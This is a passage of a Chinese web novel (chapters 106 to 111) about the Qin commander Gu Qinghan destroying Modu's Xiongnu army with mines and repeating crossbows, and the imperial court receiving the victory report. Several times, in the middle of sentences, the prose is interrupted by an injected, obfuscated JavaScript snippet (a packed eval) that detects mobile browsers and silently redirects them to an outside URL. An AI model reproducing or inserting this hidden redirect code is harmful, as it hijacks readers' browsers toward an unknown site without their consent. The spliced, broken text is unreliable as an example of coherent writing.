数十个不起眼的土堆,在同一时间猛烈**开来!火光冲天,泥土、碎石夹杂着刺鼻的硝烟,如狂风暴雨般席卷向冲锋的匈奴骑兵! 这并非寻常的**,而是顾清寒让工匠们特制的**!埋设巧妙,引爆及时! 冲在最前面的匈奴骑兵,瞬间便被人仰马翻的浪潮吞没。**产生的冲击波和无数高速飞溅的破片,形成了一道死亡屏障。战马悲鸣着倒地,骑士被炸得血肉模糊,残肢断臂四下横飞。 仅仅一轮**,匈奴先锋部队便出现了巨大的混乱和伤亡。 “妖雷!是地下的妖雷!” “长生天啊!秦人把妖雷埋在了地下!” 匈奴骑兵们惊恐万状,冲锋的势头戛然而生。许多人勒住马缰,不敢再向前一步,生怕自己也踩中那可怕的“地下妖雷”。 冒顿在高坡上看得目瞪口呆,脸上的轻蔑瞬间凝固,取而代之的是难以置信的惊骇。 “这……这又是什么鬼东西?”他失声叫道。 不等匈奴人从**的惊骇中回过神来,顾清寒的第二道命令已然下达。 “**阵,抛射!” 破阵营中,数百名**手同时将手中的暴雨梨花**斜向上举起,扣动**。 “嗖嗖嗖嗖——!” 密集的箭雨并非直射,而是形成一道道抛物线,越过前方的拒马和混乱地带,精准地覆盖了稍后方一些试图重整队形的匈奴骑兵。 “噗噗噗!” 箭矢从天而降,匈奴人避无可避,纷纷中箭**。这种抛射虽然威力不如直射,但覆盖范围广,对密集的目标杀伤效果极佳。 “稳住!给本王稳住!冲过去!冲过去他们就没辙了!”匈奴左贤 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顾清寒嘴角勾起一抹冷笑:“这只是开胃菜。冒顿,你的噩梦,才刚刚开始。” 他目光转向侧翼,李山河率领的斥候营,早已悄然迂回,如同草原上的狼群,等待着撕咬匈奴大军侧翼的机会。而在另一侧,石猛率领的亲卫营,也已整装待发,准备随时给予匈奴人致命一击。 城楼上的李贤,已经从最初的惊骇变成了麻木,他张大着嘴巴,看着城外那如同神迹一般的战斗,只觉得自己的认知被一次又一次地刷新。 “这……这顾清寒……他……他究竟是如何做到的?” 李左车紧握着剑柄,手心全是汗水,但眼中却燃烧着兴奋的火焰。他知道,这一战,九原,乃至整个大秦北疆的命运,都将因此改写。 顾清寒的布局,环环相扣。他出城野战,并非狂妄,而是早已布下天罗地网,只等冒顿一头扎进来。这十里坡,看似开阔,实则处处杀机。 而此刻,匈奴大军的主力,正源源不断地压上前来,准备投入这场看似实力悬殊,实则早已被顾清寒精心算计的绞肉机之中。风,更急了。 第106章 十里坡绞肉 匈奴胆裂 第一百零六章十里坡绞肉匈奴胆裂 冒顿单于看着先锋部队在顾清寒阵前如同撞上无形铁壁,血肉横飞,心头怒火与寒意交织。 他原以为顾清寒出城是狂妄,此刻才惊觉,这十里坡,怕是对方精心布置的又一个屠场。 “废物!连三千秦军的阵都冲不破!” 冒顿咆哮着,抽出弯刀指向前方,“中军主力,给我压上去!本单于不信,他的妖雷能无穷无尽!用人命,也给我堆平了那十里坡!” 匈奴大军主力,如同一股更为汹涌的黑色洪流,践踏着同伴的尸体,向着破阵营的阵地发起了决死冲击。 他们的人数远超破阵营,企图以绝对的数量优势碾压对手。 “来得好!”顾清寒眼神平静,嘴角却噙着一丝冰冷的笑意。 当匈奴主力冲过****区,踏入那片看似平坦的缓坡时,隐藏在草丛与尘土之下的无数拒马、陷马坑、绊马索,终于露出了狰狞的面目。 “希聿聿——” 冲在最前面的匈奴战马纷纷惨嘶着跌倒,马上的骑士被巨大的惯性甩飞出去,后面的骑兵躲避不及,顿时撞作一团,阵型大乱。 “**手上前,自由射击!”顾清寒命令再次下达。 这一次,不再是抛射。 破阵营的**手们,依托着简易的胸墙和拒马的掩护,平端起暴雨梨花**,对着混乱的匈奴骑兵进行近距离攒射。 “嗖嗖嗖!” “噗噗噗!” 箭矢破空之声与入肉之声连成一片。 匈奴人如同被割倒的麦子,成片成片地倒下。 鲜血瞬间染红了十里坡的黄土。 “顾少!看俺老牛的!” 牛辅兴奋得嗷嗷直叫,他负责的左翼阵地,同样火力全开。 他甚至让人将几架重型暴雨梨花**架在高处,居高临下地扫射,打得匈奴人鬼哭狼嚎。 一个匈奴百夫长悍勇异常,挥舞着狼牙棒试图冲开一个缺口,牛辅眼睛一瞪,亲自操控一架重**,“咻”的一声,一支特制的破甲重箭直接贯穿了那百夫长的胸膛,将他钉死在地上。 “奶奶的,还想冲锋?问过你牛爷爷没有!” 牛辅啐了一口,继续指挥手下射击。 就在匈奴主力被正面火力死死压制,进退两难之际,战场右翼,突然传来一阵骚动和**声。 “轰!轰!” 李山河率领的斥候营,如同鬼魅般出现在匈奴大军的侧后方。 他们并未与匈奴主力硬拼,而是利用骑兵的机动性,不断游走,投掷着袖中雷,焚烧匈奴人的粮草辎重,制造混乱。 “秦军!秦军绕到我们后面了!” “粮草!我们的粮草着火了!” 匈奴阵中一片大乱。 冒顿单于费尽心力才稳住的中军,再次出现动摇。 他派兵去驱赶李山河部,却如同用拳头去砸蚊子,根本无济于事,反而被对方牵着鼻子走,疲于奔命。 “顾清寒!你这黄口小儿,就会用这些阴损招数!” 冒顿在高坡上气得暴跳如雷,面色铁青。 他感觉自己像是被一张无形的大网罩住,无论如何挣扎,都只是越陷越深。 他引以为傲的十万铁骑,在这小小的十里坡,竟成了任人宰割的羔羊。 他麾下的部落头领们,看着自己部落的勇士如同飞蛾扑火般不断倒在秦军阵前,脸上的血色早已褪尽,眼中充满了恐惧和绝望。 那“妖雷”和“连**”的威力,已经彻底击垮了他们的心理防线。 九原城楼上,李贤已经说不出话了。 他只是呆呆地看着城外那惨烈而又一边倒的战场,手中的丝帕被他无意识地揉搓成一团。 他原以为自己见识过“妖雷”和“暴雨梨花**”的威力,已经有了心理准备,但眼前这**阵、拒马阵、箭雨阵,以及那神出鬼没的侧翼骚扰,层层叠叠,环环相扣,简直是将战争的艺术发挥到了极致。 “妖孽……真是妖孽啊……”李贤喃喃道,声音干涩。 李左车紧握着剑柄,手背上青筋毕露,但他的眼中,却闪烁着前所未有的光芒。 他仿佛看到了一颗将星,正在这北疆的血与火中冉冉升起。 他心中对顾清寒的最后一丝疑虑,也烟消云散,取而代之的是无 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冒顿单于看着那支杀气腾腾、势不可挡的秦军步卒,离自己的帅旗越来越近,一股从未有过的恐惧攫住了他的心脏。 他知道,大势已去。 “撤!全军撤退!”冒顿几乎是用尽全身力气,嘶吼出这道命令。 然而,想撤,又谈何容易? “顾少有令,一个不留!” 牛辅红着眼睛,带着预备队从侧翼包抄上来,彻底断了匈奴人的退路。 十里坡,已然变成了匈奴人的坟场。 夕阳西下,血色残阳映照着尸横遍野的战场。 顾清寒负手立于坡顶,青衫依旧,只是衣角溅上了几点暗红的血迹。 “冒顿,这北疆,不是你想来就能来的地方。”他轻声自语,声音被风吹散。 远处的地平线上,几骑匈奴残兵仓皇北顾,狼狈逃窜。 这一战,匈奴主力,十不存一。 九原城楼上,李贤双腿一软,瘫坐在地,良久,才吐出一句:“大秦……天佑大秦啊!” 第107章 尘埃落定起风雷 第一百零七章尘埃落定起风雷 十里坡的厮杀声不知何时已经停歇,夕阳的余晖将遍野的尸骸与折断的兵刃映照得一片凄艳。 浓郁的血腥味混杂着硝烟,在寒风中凝固,令人作呕。 牛辅一屁股坐在尚有余温的土地上,身上的玄甲沾满了血污与尘土,他大口喘着粗气,脸上却洋溢着酣畅淋漓的兴奋:“过瘾!真**过瘾!顾少,咱们这一仗,把匈奴人的胆都给打裂了!” 他身边,破阵营的将士们有的在默默擦拭兵器,有的在给受伤的弟兄包扎,更多的人则是带着一种劫后余生的疲惫和胜利的喜悦,三三两两地瘫坐在地上。 李山河独眼扫过这片修罗场,脸上没有太多表情,只是那只独眼中闪烁着一种冷硬的光。 他走到顾清寒身边,声音略带沙哑:“顾少,初步清点,此役我军伤亡不足五百,歼敌……至少在三万以上。匈奴主力,基本被打残了。冒顿只带了百余残骑狼狈逃窜。” 这个数字,即便是李山河自己说出来,也觉得有些不真实。 石猛默默地指挥着亲卫营收拢己方阵亡将士的遗体,清点缴获的战马和兵器。 那些匈奴人丢弃的战马、弯刀、弓箭,堆积如山。 顾清寒负手立于坡顶,青衫在风中微微摆动,他的目光投向北方,那里是冒顿逃遁的方向。 “穷寇莫追。”他淡淡开口,“冒顿经此一败,短期内已无力再犯九原。传令下去,打扫战场,救治伤员,收拢降卒。所有缴获,登记造册。” 牛辅一听“降卒”,眼睛瞪圆了:“顾少,那些匈奴崽子,不都杀光了吗?还留着干啥?” “杀光?”顾清寒瞥了他一眼,“杀戮解决不了所有问题。这些人,留着还有用。至于如何用,以后你们就知道了。” 他看向李山河:“派精干斥候,远远缀着冒顿,摸清他的去向和匈奴各部的反应。但切记,不可轻易交战。” “明白。”李山河点头。 大军押解着为数不多的匈奴俘虏,带着堆积如山的战利品,缓缓向九原城开拔。 夕阳将他们的身影拉得很长,带着一种铁血的悲壮与豪情。 九原城楼上,当李贤亲眼看到那支不足三千人的队伍,竟然真的将数万匈奴主力击溃,并且带着如此辉煌的战果归来时,他只觉得脑中一片空白,连日来的震惊已经让他有些麻木了。 城门大开,李左车亲自率领城中官员和百姓出迎。 当看到破阵营将士们那疲惫却难掩自豪的神情,以及队伍中那些垂头丧气的匈奴俘虏和一眼望不到边的战利品时,整个九原城都沸腾了! “顾将军威武!” “破阵营威武!” 欢呼声此起彼伏,震耳欲聋。 百姓们自发地拿出酒水食物,犒劳这些浴血奋战的英雄。 李贤挤在人群中,看着被将士们簇拥着的顾清寒,张了张嘴,想说几句恭贺的话,却发现自己词穷了。 任何华丽的辞藻,在这实打实的战功面前,都显得那么苍白无力。 他只能干巴巴地拱手:“顾……顾将军……神威盖世,本官……本官佩服之至!” 顾清寒对他微微颔首,脸上带着一丝恰到好处的疲惫与谦逊:“李大人过誉了,此乃三军用命,陛下洪福齐天。” 那十几名少府工匠,更是彻底没了往日的倨傲。 公输墨领着一众工匠,对着顾清寒深深一揖:“顾将军,我等……我等今日方知何为神工鬼斧,何为运筹帷幄!将军所用之**、连**、**,以及那神出鬼没的战法,实乃我等闻所未闻,见所未见!我等……心服口服!” 他顿了顿,语气带着几分热切:“将军若不嫌弃,我等愿追随将军,为将军效犬马之劳,但求能学得将军一二分真传,便死而无憾了!” 其余工匠也纷纷附和,看向顾清寒的眼神,充满了狂热的崇拜。 这几日,他们不仅见识了破阵营的神奇武器,更从那些梧桐村老工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705781|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匠口中听说了更多关于顾少的奇思妙想,早已将其视为天人。 顾清寒笑道:“诸位大匠言重了。大秦能人辈出,小子不过是拾人牙慧,偶有所得罢了。诸位既有心报国,日后少不得要倚重诸位之处。” 这话听得公输墨等人更是激动不已,仿佛得到了莫大的荣耀。 李贤在一旁看着,心中五味杂陈。 这些少府的顶尖工匠,平日里在咸阳哪个不是眼高于顶? 如今竟对顾清寒这般俯首帖耳,心甘情愿地要留下。 这顾清寒笼络人心的本事,怕是也不比他用兵的本事差。 夜深,郡守府的书房内,灯火通明。 顾清寒独自坐在案前,面前摊开的是九原郡的地图,以及李山河刚刚送来的关于匈奴各部动向的初步情报。 冒顿大败,消息一旦传开,草原之上必定会掀起新的波澜。 那些原本慑于冒顿银威的部落,难免不会生出异心。 “主公,”文远的声音在他心中响起,“咸阳那边,李斯仍在暗中串联,陛下虽未有明确表态,但对您的关注,只怕是前所未有。此次九原大捷的消息一旦传回,不知又会引起何等震动。” 顾清寒手指轻轻敲击着桌面:“震动是必然的。那位皇帝老儿,怕是又要彻夜难眠了。” 他嘴角勾起一抹意味深长的笑意,“他想看戏,我便演给他看。只是这戏台越来越大,演员越来越多,他可别把自己也绕进去了。” 他顿了顿,继续在心中回应:“梧桐村那边,新一批的‘货物’准备得如何了?九原这边,也该补充些新鲜血液了。” “主公放心,一切按计划进行。只是,您在北疆闹出的动静太大,朝中那些视您为眼中钉肉中刺的人,怕是会更加疯狂地攻讦您。”文远的声音带着一丝担忧。 “攻讦?”顾清寒冷笑一声,“跳梁小丑罢了。只要那位皇帝老儿还需要我这颗棋子在北疆替他挡风遮雨,李斯那些人,就翻不起大浪。” 第108章 捷报入咸阳 第一百零八章捷报入咸阳 他的目光再次回到地图上,在原先匈奴王庭的位置轻轻一点:“冒顿,你的王位,还能坐多久呢?” 与此同时,数百里外的草原深处,冒顿单于正带着百余残兵,在一处隐秘的山谷中喘息。 昔日的草原雄主,此刻形容枯槁,衣甲破碎,眼中布满了血丝和绝望。 十里坡的惨败,如同一个无法醒来的噩梦,将他所有的骄傲和野心都击得粉碎。 “顾清寒……妖雷……连**……”他嘴里反复念叨着这几个词,身体不受控制地颤抖。 “单于,我们……我们现在怎么办?”一名幸存的头领声音嘶哑地问道。 冒顿猛地抬起头,眼中闪过一丝残存的凶狠:“回王庭!本单于……本单于还没输!只要回到王庭,召集各部勇士,我一定能……” 他的话没说完,便被一阵剧烈的咳嗽打断。 他知道,经此一役,他在草原上的威望将一落千丈,那些被他压服的部落,很可能趁机发难。 前路茫茫,杀机四伏。 九原郡守府,另一间书房内,李贤正对着一卷空白的帛书,愁眉不展。 他面前的油灯已经换过一次,笔墨也研了数回,可他依旧迟迟无法落笔。 如何向陛下禀报九原的战况? 说顾清寒以三千疲敝之师,先是奇袭,再是伏击,最后以阵地战,全歼匈奴主力近七万人,自身伤亡不过数百? 这话说出去,谁信? 怕不是以为他李贤在九原待久了,得了失心疯,跟着顾清寒一起胡言乱语。 可事实就摆在眼前,由不得他不信。 城外堆积如山的匈奴尸体,缴获的无数战马兵器,还有那些垂头丧气的匈奴俘虏,都在无声地诉说着这场不可思议的大捷。 “唉……”李贤长叹一声,拿起笔,蘸饱了墨,神情变得异常凝重。 他决定,如实上奏! 每一个细节,每一种新式武器的威力,顾清寒的每一次神机妙算,他都要原原本本地写清楚。 至于陛下信不信,那是陛下的事。 他只求将自己看到的、听到的,不加任何修饰地呈上去。 他有一种预感,这份奏报送回咸阳,引起的震动,绝不会比匈奴大军压境小。 那位高高在上的始皇帝,在看到这份“惊喜”之后,又会是何等表情? 是龙颜大悦,还是……更加费尽思量? 李贤摇了摇头,不再多想,开始奋笔疾书。 九原的尘埃渐渐落定,而咸阳的风雷,才刚刚开始酝酿。 顾清寒这把火,已经烧得越来越旺了。 ...... 十里坡的血腥气,即便经过一夜北风的吹拂,依旧顽固地钻入鼻息。 九原城从大战的余悸中苏醒,晨曦洒在带着刀痕箭孔的城楼上,竟有几分不真实的安宁。 郡守府内,顾清寒用过简单的朝食,正听着李山河汇报最新的战场清理情况。 “顾少,匈奴降卒约有八百余人,大多是些在边缘地带被吓破了胆的,还有些是受伤跑不动的。那些匈奴贵胄,倒是硬气,没几个肯降的,都随他们的长生天去了。” 李山河的独眼在晨光下显得格外锐利。 牛辅在一旁啃着一块干饼,闻言瓮声瓮气地说道:“顾少,这些匈奴崽子留着作甚?浪费粮食!不如都坑杀了,给咱们死去的弟兄报仇!” 顾清寒端起茶碗,吹了吹热气,并未立刻回答。 他放下茶碗,才缓缓开口:“老牛,**是最简单的法子,却未必是最好的法子。这些人,活着比**有用。” “有用?能有啥用?”牛辅不解地摸着后脑勺,“让他们给咱们种地?还是修城墙?” “种地修城墙,倒也勉强算是一用。”顾清寒笑了笑,“不过,我还有更好的主意。山河,将这些降卒单独看押,好吃好喝供着,但也别让他们闲着。九原城外,不是还有许多地方需要修缮和开垦吗?让他们出点力气,也算是为他们之前的劫掠赎罪。” 李山河若有所思:“顾少的意思是,让他们做苦役?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第一百零九章君臣各思量 “我等愿留在九原,追随将军左右,为将军效力!”公输墨郑重说道,“不求官爵利禄,只求能参与将军大业,见识更多奇技……不,是神工鬼斧!” 他身后的工匠们也纷纷点头,目光热切。 顾清寒心中暗笑,这些技术宅,果然是对技术有着最纯粹的追求。 他要的就是这个效果。 “诸位大匠能有此心,清寒求之不得。”顾清寒笑道,“我梧桐村的摊子,正缺诸位这样的大匠坐镇。日后军械民生,皆要仰仗诸位了。” 他话锋一转:“正好,我从梧桐村调拨的一批‘新货’,昨日也已运抵九原左近。其中有些半成品,正需要诸位这样的行家来完善。待会儿,我便让人带诸位去看看。” “新货?”公输墨等人眼睛顿时亮了起来,如同饿狼见到了肥肉,先前那点矜持和客套,瞬间抛到了九霄云外。 对他们而言,顾清寒口中的“新货”,无疑意味着更多未知的技术和灵感。 打发了心满意足的工匠们,顾清寒又召来了石猛。 “石猛,你带人去城外接收那批物资,小心戒备。另外,那些匈奴降卒,也该让他们知道知道,在我破阵营,想吃饭,就得干活。” 石猛点头领命而去。 牛辅在一旁看得直乐:“顾少,您这三言两语,就把这些少府的老爷们哄得服服帖帖,还要给咱们白干活,高!实在是高!” 顾清寒瞥了他一眼:“这叫技术入股,懂吗?他们出技术,我出平台和资源,互利互惠。” 牛辅挠了挠头:“不懂,反正顾少您说啥都对!” 与此同时,郡守府的另一间书房内,李贤终于将那份凝聚了他数日心血的奏报誊写完毕。 他吹干墨迹,仔仔细细地从头到尾又看了一遍,确认没有疏漏和不妥之处。 奏报中,他详尽描述了九原之战的整个过程,从匈奴游骑的覆灭,到黑风口的伏击,再到五里坡的箭雨,最后是十里坡的决战。 每一种新式武器的威力,顾清寒的每一次排兵布阵,他都用尽可能客观和详实的笔触记录下来。 他甚至还附上了一份缴获清单的副本,以及对那些“碎矿器”、“净水器”等民用器具的描述和赞叹。 写到最后,他还是忍不住加上了自己的判断:“顾清寒此人,用兵如神,奇思妙想,层出不穷。其所制军械,威力骇人,远胜当世。臣以为,此子若用之得当,实乃我大秦北疆之柱石,可保边塞数十年无虞。然其出身草莽,行事不羁,亦需陛下圣心独断,妥善驾驭,方能为我大秦所用……” 写完这句,他犹豫再三,最终还是将“出身草莽,行事不羁”等语删去,只保留了前面的褒扬和后面的“圣心独断”。 毕竟,顾清寒如今可是炙手可热的功臣,自己没必要在这种时候给他上眼药。 “来人!”李贤唤来心腹属官,“将此奏报,八百里加急,立刻送往咸阳,务必亲手交到陛下手中,不得有误!” “遵命!”属官接过用火漆封好的奏报,不敢怠慢,匆匆离去。 看着属官远去的背影,李贤长长吐出一口气,仿佛卸下了千斤重担。 **这份奏报送回咸阳,会掀起怎样的惊涛骇浪。 那位高高在上的始皇帝,在看到这份堪称神话般的战绩后,又会作何感想? 是惊喜,是猜忌,还是……更加深不可测的布局? 李贤揉了揉眉心,只觉得这九原城,真是一处风云际会之地。 而他,似乎正亲眼见证着一颗足以搅动天下风云的将星,冉冉升起。 他忽然想起一事,连忙起身,找到正在忙碌的李左车。 “李将军,那些少府的工匠,公输墨他们,好像都铁了心要留在九原,追随顾将军了。这……这可如何是好?他们毕竟是少府的人,陛下派来的……” 李左车闻言,也是一怔,随即苦笑道:“李大人,此事,怕是由不得你我了。你觉得,以顾将军如今在他们心中的地位,我们还能劝得动他们吗?再者说,他们留下,对九原,对我大秦北疆,只有好处,没有坏处。至于如何向陛下交代……那也是顾将军该头疼的事情了。” 李贤一想也是,那些工匠看顾清寒的眼神,简直比看亲爹还亲,自己去劝,怕是自讨没趣。 他只能叹了口气:“也罢,也罢。这九原城,如今是顾将军说了算了。” 语气中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第110章 帝皇的心思 第一百一十章帝皇的心思 八百里加急的驿马,蹄声如骤雨,卷着一路风尘,终于在数日后冲入了咸阳城。 信使顾不上擦拭满面的征尘与汗水,直奔宫门,高举手中那份用火漆封口的厚重帛书,嘶哑着嗓子喊道:“九原郡紧急军情!钦差李贤大人奏报!” 消息一层层递进,很快便送到了章台宫,嬴政的御案之上。 彼时,嬴政正在批阅奏章,殿内气氛肃然。 赵高侍立一旁,眼观鼻,鼻观心,尽量让自己化为殿内的一根柱子。 “哦?九原的。” 嬴政搁下手中的朱笔,语气平淡,似乎只是收到了一份寻常的郡县公文。 他慢条斯理地拿起那份帛书,检查了一下火漆,这才用小刀启封。 展开帛书,嬴政的目光逐行扫过。 殿内静得落针可闻,只有帛书展开时细微的沙沙声。 李贤的字迹工整,但从某些笔画的力道和偶尔的涂改来看,不难想见书写者当时的激动与难以置信。 奏报写得极为详尽,从匈奴游骑的覆灭,到黑风口的**,再到五里坡的箭雨,最后是十里坡那场堪称绞肉机般的决战,每一种新式武器的描述,每一步战术的运用,都清晰在列。 嬴政的眉头,在看到“**”、“**大规模运用”、“暴雨梨花**覆盖性射杀”等字眼时,几不可察地挑动了一下。 当他读到“破阵营以不足三千之众,对阵匈奴号称十万主力,三日之内,斩首三万余,俘虏近千,自身伤亡不足五百,冒顿仅率百余残骑北逃”时,即便是他,持着帛书的手指也微微一顿。 饶是嬴政早已对顾清寒的“惊喜”有所预料,此刻心中也不免泛起一丝波澜。 这小子,还真是……总能给他整出些新花样。 三万! 这可不是拔掉几支游骑那么简单,这是实打实地将匈奴主力打残了! 他继续往下看,李贤在奏报中,还提及了九原城内那些少府工匠,对顾清寒拿出的“碎矿器”、“净水器”等民用物件的惊叹,以及他们甘愿留在九原,追随顾清寒钻研“奇技”的意愿。 “哼。”嬴政鼻腔里发出一声极轻的声响,不知是赞许还是别的什么。 这小子,不光会打仗,笼络人心的手段也一套一套的,连少府那些眼高于顶的匠人都被他哄住了。 赵高一直偷偷观察着陛下的神色,见他神情变幻,心中暗自揣测,这九原的奏报,究竟是喜是忧? 能让陛下如此动容,怕不是出了天大的事情。 嬴政将帛书缓缓合上,放在案头,手指无意识地在上面轻轻敲击着。 “赵高。” “奴婢在。”赵高连忙应道。 “这份奏报,着令抄录数份,明日朝会,让诸公都瞧瞧。”嬴政的语气听不出喜怒。 赵高心中一凛,能让陛下特意拿到朝会上说的,必是石破天惊的大事。 他偷偷瞥了一眼那份帛书的厚度,暗道这李贤大人怕不是把九原城的一砖一瓦都写进去了。 “陛下,”赵高小心翼翼地试探道,“九原……可是大捷?” 嬴政看了他一眼,嘴角勾起一抹似笑非笑的弧度:“何止大捷。顾清寒那小子,差点把冒顿的王庭都给端了。匈奴十万大军,如今,怕是连三成都凑不齐了。” 赵高倒吸一口凉气,脸上露出恰到好处的震惊与狂喜:“恭喜陛下!贺喜陛下!顾将军真乃神人也!此等旷世奇功,足以震慑宵小,扬我大秦天威!” “神人?”嬴政重复了一句,眼中闪过一丝复杂难明的光芒。 那小子若真是神人,怕是第一个就要把他这个“神”给拉下马。 他想起了李贤奏报末尾那段删改过的评语,心中了然。 李贤这老狐狸,倒也识趣。 “行了,退下吧。”嬴政挥了挥手。 “喏。”赵高躬身退出,心中却翻江倒海。 歼敌三万,自身伤亡不足五百? 这顾清寒,究竟是何方妖孽! 这消息一旦传开,整个咸阳城怕是都要炸开锅了! 尤其是丞相李斯那边,不知又会作何感想。 殿内只剩下嬴政一人。 他重新拿起那份奏报,又细细看了一遍,特别是关于那些新式武器的描述和战术运用。 **阵,拒马陷坑,抛射箭雨,侧翼骚扰,重装步兵突击……环环相扣,层层递进。 这哪里像是一个初出茅庐的毛头小子能想出来的打法? 倒像是个浸银兵法多年的沙场老将。 “这小子,学的倒是快。”嬴政自语道,眼中带着几分审视,几分欣慰,还有几分……连他自己都未曾察觉的骄傲。 他那个一心想**的“好孙儿”,如今在北疆替他挡下了匈奴最猛烈的攻势,还顺手帮他练出了一支战力惊人的强军。 这买卖,似乎怎么算,他都不亏。 只是,这“妖雷”的威力,着实有些出乎他的意料。 若这东西的制造之法被有心人学了去……嬴政的眼神冷了下来。 看来,梧桐村那边的防护,还需再加强。 他又想起那些哭着喊着要留在九原的少府工匠。 公输家的人,历来只为皇家效力,如今却被一个“草莽”小子迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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以顾清寒的功劳,这点赏赐,其实算不得丰厚。 陛下心中,定有更深远的考量。 “另外,”嬴政补充道,“告诉少府,既然那些工匠乐不思蜀,便让他们在九原多待些时日,协助顾清寒修缮军备,也算是为国效力。所需钱粮器物,由九原郡守上报,从国库拨付。” 蒙毅心中一动,陛下这是……默许了那些工匠留在顾清寒身边? 这几乎等同于将少府的一部分技术力量,交到了顾清寒手中。 “臣,遵旨。” 北疆的风,吹皱了咸阳的一池春水。 而那搅动风云之人,此刻尚在千里之外,谋划着他的下一步“大业”。 殊不知,他的一举一动,早已落入了一双洞悉一切的眼眸之中,并被巧妙地引导向了一个谁也无法预料的未来。 咸阳城,因为这份来自北疆的捷报,注定要迎来一个不眠之夜。 第111章 顾清寒,右庶长? 第一百一十一章顾清寒,右庶长? 咸阳宫,麒麟殿。 晨曦透过高大的窗棂,斜斜地照在冰冷的地砖上,映出百官肃立的身影。 今日的朝会,气氛比往日多了几分难以言喻的凝重与期待。 赵高尖细的嗓音打破了殿内的寂静:“有事启奏,无事退朝。” 话音未落,嬴政平淡的声音响起:“今日,有份九原郡的捷报,诸卿都听听。” 赵高会意,展开手中抄录的帛书,抑扬顿挫地念了起来。 他特意将李贤奏报中关于战损、歼敌以及新式武器威力的部分,加重了语气。 “破阵营以不足三千之众,对阵匈奴号称十万主力……斩首三万余,俘虏近千,自身伤亡不足五百……冒顿仅率百余残骑北逃……” “**爆裂,碎石穿空,匈奴先锋人仰马翻……” “暴雨梨花**齐射,箭如飞蝗,匈奴阵列寸寸崩溃……” “**从天而降,匈奴死伤枕籍,鬼哭狼嚎……” 随着赵高一字一句念出,殿中先是死一般的寂静,随即如同滚油入水,瞬间炸开了锅。 “什么?歼敌三万?自身伤亡不足五百?” “这……这怎么可能!莫不是那李贤夸大其词,欺君罔上!” “妖雷……连**……闻所未闻!莫非真有神兵天降?” 惊呼声、质疑声、倒吸凉气的声音此起彼伏。 不少官员面面相觑,脸上写满了难以置信。 一些老将更是眉头紧锁,显然这份战报颠覆了他们数十年的军事认知。 就连素来持重的几位重臣,此刻也难掩惊容。 李斯站在百官前列,面色平静,藏在袖中的手却悄然握紧。 他早有预感顾清寒会有些手段,却万万没想到,竟是如此惊天动地! 三万匈奴主力,就这么没了? 这顾清寒,究竟是何方神圣! 他眼角的余光瞥向御座之上的嬴政,只见嬴政神色如常,仿佛这足以载入史册的大捷,不过是件寻常小事。 “陛下!”一名御史大夫出列,声音带着几分颤抖,“九原大捷,固然可喜可贺,然此战果……委实匪夷所思。臣恐其中或有不实之处,请陛下明察!” 立刻有几名官员附和:“是啊,陛下,三千破三万,古来罕见,不得不慎重。” 嬴政淡淡开口,声音不大,却清晰地传入每个人耳中:“李贤的奏报,朕看过了。每一个字,都经得起查验。九原缴获的匈奴兵器、战马,堆积如山,还有那近千俘虏,皆是明证。” 他目光扫过殿下诸臣,带着一丝若有若无的笑意:“怎么,诸位是觉得,朕的北疆将士,打不了胜仗么?” 此言一出,方才还质疑的官员顿时噤若寒蝉,纷纷低头,不敢再言。 “陛下圣明!” “大秦天威!” “顾将军神勇!” 赞颂之声立刻压倒了质疑。 李斯深吸一口气,缓缓出列,躬身道:“陛下,九原大捷,扬我国威,臣等为陛下贺,为大秦贺。顾清寒将军以弱冠之龄,立此不世之功,实乃国之栋梁。只是……” 他话锋一转,语气带着几分深思熟虑:“此子年少得志,又手握破阵营这等利器,长此以往,恐其骄纵之心渐长,于北疆之地尾大不掉。且其所用军械,威力骇人,若制法外泄,后患无穷。臣恳请陛下,对其恩威并施,既要奖其功勋,亦要加以约束,并严密封锁其军械之秘,以防不测。” 殿内顿时安静下来,不少人暗自佩服李斯的老辣。 这番话说得滴水不漏,既肯定了顾清寒的功劳,又点出了潜在的风险,显得处处为大秦江山着想。 嬴政看着李斯,嘴角勾起一抹意味深长的弧度:“丞相所言,不无道理。顾清寒的功,自然要赏。至于约束……” 他顿了顿,“朕自有分寸。破阵营乃朕亲手所建,其忠心,朕信得过。” 一句“朕信得过”,便将李斯的担忧轻轻拨开。 嬴政继续道:“传朕旨意,顾清寒指挥有方,克敌制胜,官升一级,为右庶长,赐金千两,绸缎百匹,另赐美酒百坛,犒劳破阵营将士。九原郡守李贤,督战有功,调度得力,赐金百两,绢五十匹。其余参战将士,依军功簿,各有封赏!” 此言一出,殿中又是一片骚动。 右庶长,虽非高位,但对 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“听说了吗?那顾将军用的妖雷,拳头大小,一炸就是一大片!” “还有那连**,据说能一口气射出几十支箭,匈奴人根本近不了身!” “真是奇人啊!也不知是何方人士,竟有如此通天彻地之能!” 丞相府。 李斯面沉似水,将手中一只上好的白玉酒杯捏得咯吱作响。 几名心腹幕僚侍立一旁,大气都不敢出。 